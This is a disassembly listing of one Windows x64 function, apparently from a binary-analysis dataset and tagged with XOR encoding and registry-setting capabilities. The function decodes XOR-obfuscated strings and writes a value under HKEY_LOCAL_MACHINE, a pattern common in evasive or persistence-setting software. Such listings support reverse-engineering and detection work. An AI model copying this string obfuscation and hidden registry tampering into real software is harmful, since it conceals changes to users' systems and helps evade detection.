Function at 0x140071dc0
Capabilities:
Encode data using xor
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x130]
sub rsp, 0x230
mov rax, qword [0x14033b600]
xor rax, rsp
mov qword [rbp + 0x120], rax
mov edx, listen
lea rcx, [rsp + 0x70]
call fcn.1400701d0
mov r15, rax
mov edx, 4
lea rcx, [rbp + 0x58]
call fcn.1400701d0
mov r14, rax
mov edx, 4
lea rcx, [rbp + 0x38]
call fcn.1400701d0
mov rsi, rax
mov edx, 4
lea rcx, [rbp + 0x18]
call fcn.1400701d0
mov rdi, rax
mov edx, 8
lea rcx, [rbp - 8]
call fcn.1400701d0
nop
mov r9d, 1
lea r8, [0x14030f6cc]
xor edx, edx
mov rcx, rax
call fcn.140079e20
xor ebx, ebx
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rbx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], bl
lea r8d, [rbx + 1]
lea rdx, [0x14030f6c8]
lea rcx, [rsp + 0x30]
call fcn.140060590
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xd8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xe8], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], bl
mov r9, rdi
lea r8, [rbp + 0xd8]
lea rcx, [rbp - 0x28]
call fcn.140079f30
nop
lea r8d, [rbx + 1]
lea rdx, [0x14030f6c8]
lea rcx, [rbp - 0x28]
call fcn.140060590
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xb8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xc8], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], bl
mov r9, rsi
lea r8, [rbp + 0xb8]
lea rcx, [rbp - 0x48]
call fcn.140079f30
nop
lea r8d, [rbx + 1]
lea rdx, [0x14030f6c8]
lea rcx, [rbp - 0x48]
call fcn.140060590
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x98], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xa8], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], bl
mov r9, r14
lea r8, [rbp + 0x98]
lea rcx, [rbp - 0x68]
call fcn.140079f30
nop
lea r8d, [rbx + 1]
lea rdx, [0x14030f6c8]
lea rcx, [rbp - 0x68]
call fcn.140060590
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x78], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x88], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], bl
mov r9, r15
lea r8, [rbp + 0x78]
lea rcx, [rsp + 0x50]
call fcn.140079f30
nop
lea r8d, [rbx + 1]
lea rdx, [0x14030f6c4]
lea rcx, [rsp + 0x50]
call fcn.140060590
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x100], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x110], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], bl
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x14007202c
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140072027
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140072689
call fcn.140223f10
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x50], 0
mov rdx, qword [rbp + 0x90]
cmp rdx, 0x10
jb 0x14007207e
inc rdx
mov rcx, qword [rbp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140072078
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007268f
call fcn.140223f10
nop
mov rdx, qword [rbp - 0x50]
cmp rdx, 0x10
jb 0x1400720b9
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400720b4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140072695
call fcn.140223f10
mov qword [rbp - 0x58], rbx
mov qword [rbp - 0x50], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x68], 0
mov rdx, qword [rbp + 0xb0]
cmp rdx, 0x10
jb 0x14007210b
inc rdx
mov rcx, qword [rbp + 0x98]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140072105
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007269b
call fcn.140223f10
nop
mov rdx, qword [rbp - 0x30]
cmp rdx, 0x10
jb 0x140072146
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140072141
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400726a1
call fcn.140223f10
mov qword [rbp - 0x38], rbx
mov qword [rbp - 0x30], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x48], 0
mov rdx, qword [rbp + 0xd0]
cmp rdx, 0x10
jb 0x140072198
inc rdx
mov rcx, qword [rbp + 0xb8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140072192
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400726a7
call fcn.140223f10
nop
mov rdx, qword [rbp - 0x10]
cmp rdx, 0x10
jb 0x1400721d3
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400721ce
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400726ad
call fcn.140223f10
mov qword [rbp - 0x18], rbx
mov qword [rbp - 0x10], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x28], 0
mov rdx, qword [rbp + 0xf0]
cmp rdx, 0x10
jb 0x140072225
inc rdx
mov rcx, qword [rbp + 0xd8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007221f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400726b3
call fcn.140223f10
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x140072262
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007225d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400726b9
call fcn.140223f10
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x30], 0
mov rdx, qword [rbp + 0x10]
cmp rdx, 0x10
jb 0x1400722b0
inc rdx
mov rcx, qword [rbp - 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400722ab
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400726bf
call fcn.140223f10
mov qword [rbp + 8], rbx
mov qword [rbp + 0x10], reloc.WS2_32.dll_ntohs
mov byte [rbp - 8], 0
mov rdx, qword [rbp + 0x30]
cmp rdx, 0x10
jb 0x1400722fb
inc rdx
mov rcx, qword [rbp + 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400722f6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400726c5
call fcn.140223f10
mov qword [rbp + 0x28], rbx
mov qword [rbp + 0x30], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x18], 0
mov rdx, qword [rbp + 0x50]
cmp rdx, 0x10
jb 0x140072346
inc rdx
mov rcx, qword [rbp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140072341
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400726cb
call fcn.140223f10
mov qword [rbp + 0x48], rbx
mov qword [rbp + 0x50], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x38], 0
mov rdx, qword [rbp + 0x70]
cmp rdx, 0x10
jb 0x140072391
inc rdx
mov rcx, qword [rbp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007238c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400726d1
call fcn.140223f10
mov qword [rbp + 0x68], rbx
mov qword [rbp + 0x70], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x58], 0
mov rdx, qword [rbp - 0x78]
cmp rdx, 0x10
jb 0x1400723dd
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400723d8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400726d7
call fcn.140223f10
movdqa xmm0, xmmword [str.020___7_]
movdqu xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x40], 0x25290015
mov dword [rsp + 0x44], 0x163a3526
mov dword [rsp + 0x48], 0xa131912
mov word [rsp + 0x4c], 0x100
mov rcx, rbx
nop dword [rax]
lea eax, [rcx + 0x63]
xor byte [rsp + rcx + 0x30], al
inc rcx
cmp rcx, 0x1c
jb 0x140072410
mov byte [rsp + 0x4d], 0
mov dword [rsp + 0x50], 0xe06052e
mov dword [rsp + 0x54], 0x230c060e
mov word [rsp + 0x58], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x5a], 1
mov rcx, rbx
nop dword [rax]
nop dword [rax + rax]
lea eax, [rcx + 0x63]
xor byte [rsp + rcx + 0x50], al
inc rcx
cmp rcx, 9
jb 0x140072450
mov byte [rsp + 0x5a], 0
mov qword [rbp + 0xf8], rbx
lea rax, [rbp + 0xf8]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
lea rdx, [rsp + 0x30]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea rax, [rbp + 0x100]
mov rdx, qword [rbp + 0x100]
mov r8, qword [rbp + 0x118]
cmp r8, 0x10
cmovae rax, rdx
mov rcx, 0xffffffffffffffff
inc rcx
cmp byte [rax + rcx], 0
jne 0x1400724b7
inc ecx
lea rax, [rbp + 0x100]
cmp r8, 0x10
cmovae rax, rdx
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, [rsp + 0x50]
mov rcx, qword [rbp + 0xf8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1400726dd
movdqa xmm0, xmmword [0x140311680]
movdqu xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [0x140311b30]
movdqu xmmword [rbp - 0x80], xmm1
mov dword [rbp - 0x70], 0xa6e1e1e5
mov word [rbp - 0x6c], 0xa6
mov byte [rbp - 0x6a], 1
mov rcx, rbx
nop dword [rax]
lea eax, [rcx + 0x63]
xor byte [rsp + rcx + 0x70], al
inc rcx
cmp rcx, 0x25
jb 0x140072530
mov byte [rbp - 0x6a], 0
lea rcx, [rsp + 0x70]
call fcn.140239ef0
movdqa xmm0, xmmword [0x140311910]
movdqu xmmword [rsp + 0x50], xmm0
mov dword [rsp + 0x60], 0x1005a5d
mov rcx, rbx
nop word [rax + rax]
lea eax, [rcx + 0x63]
xor byte [rsp + rcx + 0x50], al
inc rcx
cmp rcx, 0x12
jb 0x140072570
mov byte [rsp + 0x63], 0
lea rcx, [rsp + 0x50]
call fcn.140239ef0
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rbp + 0xf8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp qword [rbp + 0xf8], 0
je 0x140072720
movdqa xmm0, xmmword [str.8O8F5_.J8]
movdqu xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x40], 0xf191806
mov dword [rsp + 0x44], 0x15153b57
mov dword [rsp + 0x48], 0x5e191908
mov word [rsp + 0x4c], 0x5e
mov byte [rsp + 0x4e], 1
nop word [rax + rax]
lea eax, [rbx + 0x63]
xor byte [rsp + rbx + 0x30], al
inc rbx
cmp rbx, 0x1d
jb 0x1400725f0
mov byte [rsp + 0x4e], 0
lea rcx, [rsp + 0x30]
call fcn.140239ef0
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rdx, qword [rbp + 0x118]
cmp rdx, 0x10
jb 0x140072657
inc rdx
mov rcx, qword [rbp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140072652
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140072683
call fcn.140223f10
mov rcx, qword [rbp + 0x120]
xor rcx, rsp
call fcn.140223ef0
lea r11, [rsp + 0x230]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.14023482c
nop
call fcn.14023482c
nop
call fcn.14023482c
nop
call fcn.14023482c
nop
call fcn.14023482c
nop
call fcn.14023482c
nop
call fcn.14023482c
nop
call fcn.14023482c
nop
call fcn.14023482c
nop
call fcn.14023482c
nop
call fcn.14023482c
nop
call fcn.14023482c
nop
call fcn.14023482c
nop
call fcn.14023482c
nop
call fcn.14023482c
int3
movdqa xmm0, xmmword [0x140311750]
movdqu xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [0x140311970]
movdqu xmmword [rbp - 0x80], xmm1
mov word [rbp - 0x70], 0x100
lea rcx, [rsp + 0x70]
call fcn.1400701a0
mov rcx, rax
call fcn.140239ef0
call fcn.140239dac
mov ecx, 1
call fcn.140234cac
int3
movdqa xmm0, xmmword [0x140311720]
movdqu xmmword [rsp + 0x50], xmm0
mov dword [rsp + 0x60], 0x1f061b1f
mov dword [rsp + 0x64], 0x5b591f19
mov word [rsp + 0x68], 0x100
lea rcx, [rsp + 0x50]
call fcn.1400719e0
mov rcx, rax
call fcn.140239ef0
call fcn.140239dac
mov ecx, 1
call fcn.140234cac
int3